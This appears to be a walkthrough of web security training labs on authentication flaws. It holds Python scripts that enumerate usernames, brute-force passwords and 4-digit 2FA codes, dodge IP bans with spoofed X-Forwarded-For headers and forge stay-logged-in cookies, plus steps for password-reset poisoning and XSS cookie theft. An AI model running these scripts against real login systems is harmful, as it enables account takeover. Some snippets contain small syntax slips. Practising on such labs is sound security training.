In this case, I opted to compare the error message of each file:
<p class=is-warning>Invalid username or password.
This can be done using a simple regex check to see if the string exists on the page:
match = re.search(r'(Invalid username or password\.)', r.text)ifnot match:print(f'[+] Found diff response using: {trial}')find_password(trial)
The above would return a different result for the atlas user, which I manually verified:
The above message does not have a fullstop, and as such I could find a valid user and solve the lab:
import requestsimport reimport sysimport itertoolsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0abd00b00398cb7781d4614000ea00c6'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}url =f'https://{HOST}.web-security-academy.net'cookies ={'session':'QvqnVhG9TBcT2TXbw18p5lp2oddBgqw1'}s = requests.Session()deffind_user(): users =open('users.txt','r')for i in users: trial = i.rstrip('\n') login_data ={'username': trial,'password':'test'} r = s.post(url +'/login', proxies=proxies, data=login_data, cookies=cookies, verify=False) match = re.search(r'(Invalid username or password\.)', r.text)ifnot match:print(f'[+] Found diff response using: {trial}')find_password(trial)deffind_password(user): passwords =open('pass.txt','r')for i in passwords: trial = i.rstrip('\n') login_data ={'username':user,'password':trial} r = s.post(url +'/login', proxies=proxies, data=login_data, cookies=cookies, verify=False)if'Invalid username or password'notin r.text:print(f'[+] Valid password for {user}: {trial}') sys.exit(1)find_user()
Lab 5: Response Timing Enumeration with Brute Force Bypass
When testing with a valid user wiener, the length of the password entered changes the response time.
With a short password it takes 389 ms. With a much longer password, it takes longer!
A few attempts causes this error message to appear though:
This can be bypassed using the X-Forwarded-For header. Using this, I can create a script to enter a really long password, and check the response time. If I get blocked, I can just modify the X-Forwarded-For header to bypass the IP ban.
I used a really long password to get a very long response time. Here's the find_user function:
deffind_user(): users =open('users.txt','r') num =1for i in users: trial = i.rstrip('\n') headers ={'X-Forwarded-For':f'192.168.0.{str(num)}'} login_data ={'username': trial,'password': long_password} r = s.post(url +'/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)if'You have made too many incorrect'in r.text: num +=1 headers ={'X-Forwarded-For':f'192.168.0.{str(num)}'}## resend rq r = s.post(url +'/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)if r.elapsed.total_seconds()>3:print(f'[+] Found user: {trial}')return trial
This would find the usename affiliate. From here, the find_password function is similar. Note that this uses 192.168.2.0/24 now.
deffind_password(user): passwords =open('pass.txt','r') num =1for i in passwords: trial = i.rstrip('\n') headers ={'X-Forwarded-For':f'192.168.0.{str(num)}'} login_data ={'username':user,'password':trial} r = s.post(url +'/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)if'You have made too many incorrect'in r.text: num +=1 headers ={'X-Forwarded-For':f'192.168.2.{str(num)}'} r = s.post(url +'/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)if'Invalid username or password'notin r.text:print(f'[+] Valid password for {user}: {trial}') sys.exit(1)
When find_password exits, the lab will be solved.
Lab 6: Brute Force Protection Bypass
This lab has a similar protection to the previous lab, except that now there is no X-Forwarded-For header to use. This time, the lab gave us the valid username of carlos.
When I tried 3 times, it blocked me:
I tried again, and this time before my third try, I logged into the wiener account. This reset the number of tries I had, and I could continue after logging out.
This script was pretty easy to code.
deffind_password(): passwords =open('pass.txt','r') state =1for i in passwords: trial = i.rstrip('\n') trial_data ={'username':'carlos','password':trial}if state ==0or state ==1: r = s.post(url +'/login', proxies=proxies, data=trial_data,verify=False)if'Incorrect password'notin r.text:print(f'[+] Valid password for carlos: {trial}') sys.exit(1)else: state +=1continueelse: wiener_r = s.post(url +'/login', proxies=proxies, data=wiener_data, verify=False) wiener_r = s.get(url +'/logout', proxies=proxies, verify=False) state =0
Lab 7: Username Enumeration via Account Lock
This lab has account locking, but contains a logic flaw. To solve the lab, login as the valid user.
Based on the lab hint, I expected that brute force attempts would eventually block my account, but that was not the case with the random usernames I was using.
My guess was that repeated attempts with the valid username would result in me getting blocked.
As such, I created a script to send 5 requests per username, and check whether the response contained the Invalid username or password error.
users =open('users.txt', 'r')for u in users:for i inrange(6): data ={'username':u.strip(),'password':'test'} r = s.post(url +'/login', data=data, verify=False, proxies=proxies)if'Invalid username or password'notin r.text:print(f'[+] Different response observed for {u}') sys.exit(0)
This would return a different response for the alabama user:
$ python3 lab8.py
[+] Different response observed for alabama
When checking the response, I saw that it displayed the account lockout error:
Now, time to brute force the password. While I could make the script sleep for 61s after encountering account lockout, that would take too long. Instead, I tried to brute force the password by checking whether the Invalid username and You have many too many incorrect login attempts errors were present.
This worked! Here's the final script to solve the lab:
deffind_password(user): passwords =open('pass.txt','r')for p in passwords: data ={'username':user,'password':p.strip()} r = s.post(url +'/login', data=data, verify=False, proxies=proxies)if'Invalid username or password'notin r.text and'You have made too many incorrect login attempts.'notin r.text:print(f'[+] Password for {user} is {p}.')returndeffind_user(): users =open('users.txt', 'r')for u in users:for i inrange(6): data ={'username':u.strip(),'password':'test'} r = s.post(url +'/login', data=data, verify=False, proxies=proxies)if'Invalid username or password'notin r.text:print(f'[+] Different response observed for {u}')return u.strip()user =find_user()password =find_password(user)time.sleep(61)data ={'username':user'password':password}r = s.post(url +'/login', data=data, verify=False, proxies=proxies)
Lab 8: 2FA Broken Logic
This lab has vulnerable 2FA logic. When taking a look at the login process for the wiener user, I saw this:
It seems that the page with the 2FA logic has a verify cookie that looks exploitable.
There's also a GET request with the same parameters:
I also noticed that the 2FA feature did not have any brute force protection, and I was free to try this as many times as I wanted. Resending the GET request generates another 2FA code.
There seemed to be no other way of getting credentials, so I scripted the following:
Send a GET request to login2 to generate the 2FA code for carlos.
Brute force all 4 digit numbers.
import requestsimport reimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0aca0091049d510182f26f48009d0023'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}url =f'https://{HOST}.web-security-academy.net's = requests.Session()cookies ={'verify':'carlos'}r = s.get(url +'/login2', verify=False, proxies=proxies, cookies=cookies)if"Please enter your 4-digit"notin r.text:print('[-] Failed to generate 2FA for carlos') sys.exit(1)print('[+] Generated 2FA for carlos')whileTrue:for i inrange(10000): mfa ='{0:04}'.format(i) data ={'mfa-code':mfa} r = s.post(url +'/login2', verify=False, proxies=proxies, cookies=cookies, data=data)if'Incorrect security code'notin r.text:print(f'[+] Correct code: {mfa}') s.get(url +'/my-account?id=carlos', verify=False, proxies=proxies, cookies=cookies) sys.exit(1)
This script will solve the lab...eventually.
Lab 9: Stay-Logged-In Cookie
This lab has a vulnerable stay logged in cookie. For this, I have to do brute forcing of the password for carlos.
When I logged in as wiener and chose to stay logged in, there was a cookie passed:
A quick check on CrackStation reveals that this hash was an MD5 hash for peter.
I can quickly create a brute force script for this, since I can attempt to access carlos account using this cookie.
import requestsimport reimport sysimport hashlibimport base64 from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0aab005b04c539908141ace600e000b0'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}url =f'https://{HOST}.web-security-academy.net's = requests.Session()passwords =open('pass.txt', 'rb')for i in passwords: hashed_password = hashlib.md5(i.strip()).hexdigest() plaintext ='carlos:'+str(hashed_password) plaintext = plaintext.encode("ascii") base64_bytes = base64.b64encode(plaintext) carlos_cookie = base64_bytes.decode("ascii") cookies ={'stay-logged-in':carlos_cookie} r = s.get(url +'/my-account?id=carlos', cookies=cookies, proxies=proxies, verify=False)if'Your username is:'in r.text:print(f"Password is {i}") sys.exit()
The script above solves the lab.
Lab 10: Offline password cracking
To solve this lab, delete carlos account. T his lab contains an XSS in the comment section, and I am given an exploit server.
Tested the XSS:
And found that it works:
Now, I need to set the URL to the exploit server's, and steal the user's cookie via document.cookie.
Log in as carlos and delete the account to solve the lab.
Lab 11: Password Reset Poisoning via Middleware
I'm given an exploit server with an email account. The carlos user also clicks on any links received. To solve the lab, log in as carlos.
I sent a password reset email to myself:
The POST request for this is rather interesting. Repeating the request sends another email.
I tampered with the request, and played around with it. I read through all the headers in the Mozilla documentation, and found that X-Forwarded-Host had some interesting effects.
I changed the value to test.com.
So I can change the host. This header is used to identify the original host requested by the client in the Host HTTP request header.
Since the user does not check the URL, I can redirect carlos to the exploit server by setting the header to the exploit server URL.
In the request, change the username parameter to carlos. In the access log, I will see this after sending the POST request.
I can then use the temp-password-token to reset the password for carlos.
Lab 12: Password Brute Force via Password Change
This lab has a vulnerable reset password feature. Logging in as wiener shows this:
Using this feature sends a POST request:
This returns a redirect to /login if I use a bogus current-password. Using the correct current-password results in a 200 being returned with this page:
I can change the username to carlos and attempt to brute force this password. However, this method does not work.
I noticed that when I used the correct current password, but different values for new-password-1 and new-password-2, this error is displayed:
When I used the wrong current password, it shows this instead:
That's a pretty easy vulnerability to script and exploit:
cookies ={'session':'wiener-cookie'}passwords =open('pass.txt','r')for p in passwords: data ={'username':'carlos','current-password':p.strip(),'new-password-1':'1234','new-password-2':'5678'} r = requests.post(url +'/my-account/change-password', data=data, verify=False, proxies=proxies, cookies=cookies)if'New passwords do not match'in r.text:print(f'[+] Password for carlos is {p}.') sys.exit(0)
Lab 13: Multiple Creds per Request
To solve this lab, access the account of carlos. This lab uses JSON to send its login credentials:
For this, the lab tells us 'multiple credentials'. Similar to PHP, one can attempt to send an array in as the password instead of having a single string.
Sending an array does not trigger any funny errors:
Sending multiple passwords raises no errors, and so I created an array with ALL the possible passwords.
This returned a 302:
Repeating the request in the browser solves the lab!
Lab 14: 2FA Brute Force Bypass
This lab gives me carlos credentials, but has a faulty 2FA mechanism. Attempting to login requires a 2FA code:
The 3 main requests sent are:
When entering false codes, I have 2 tries before it sends me back to the /login page.
One attack path is logging in at /login, then sending a GET request to /login2. Afterwards, I can try brute-forcing the POST request to /login2. If I get kicked out, I can just reset the 'setup' process:
import requestsimport refrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0a8a00080397486580b235a600340007'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}url =f'https://{HOST}.web-security-academy.net's = requests.Session()defsetup():## LOGIN r = s.get(url +'/login', proxies=proxies, verify=False) match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text) login_csrf_token = match[1] carlos_data ={'csrf':login_csrf_token,'username':'carlos','password':'montoya'} r = s.post(url +'/login', data=carlos_data, proxies=proxies, verify=False)## GET LOGIN2 r = s.get(url +'/login2', proxies=proxies, verify=False) match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text) mfa_csrf_token = match[1]if"Please enter your 4-digit security code"notin r.text:print('[-] Get to login2 failed')exit()return mfa_csrf_token## BRUTE FORCE LOGIN2for i inrange(10000): mfa ='{0:04}'.format(i) mfa_csrf_token =setup() mfa_data ={'csrf':mfa_csrf_token,'mfa-code':mfa} r = s.post(url +'/login2', proxies=proxies, verify=False, data=mfa_data)if"Invalid CSRF Token"in r.text: mfa_csrf_token =setup()if"Incorrect security code"notin r.text:print(f'[+] Correct code: {i}')exit()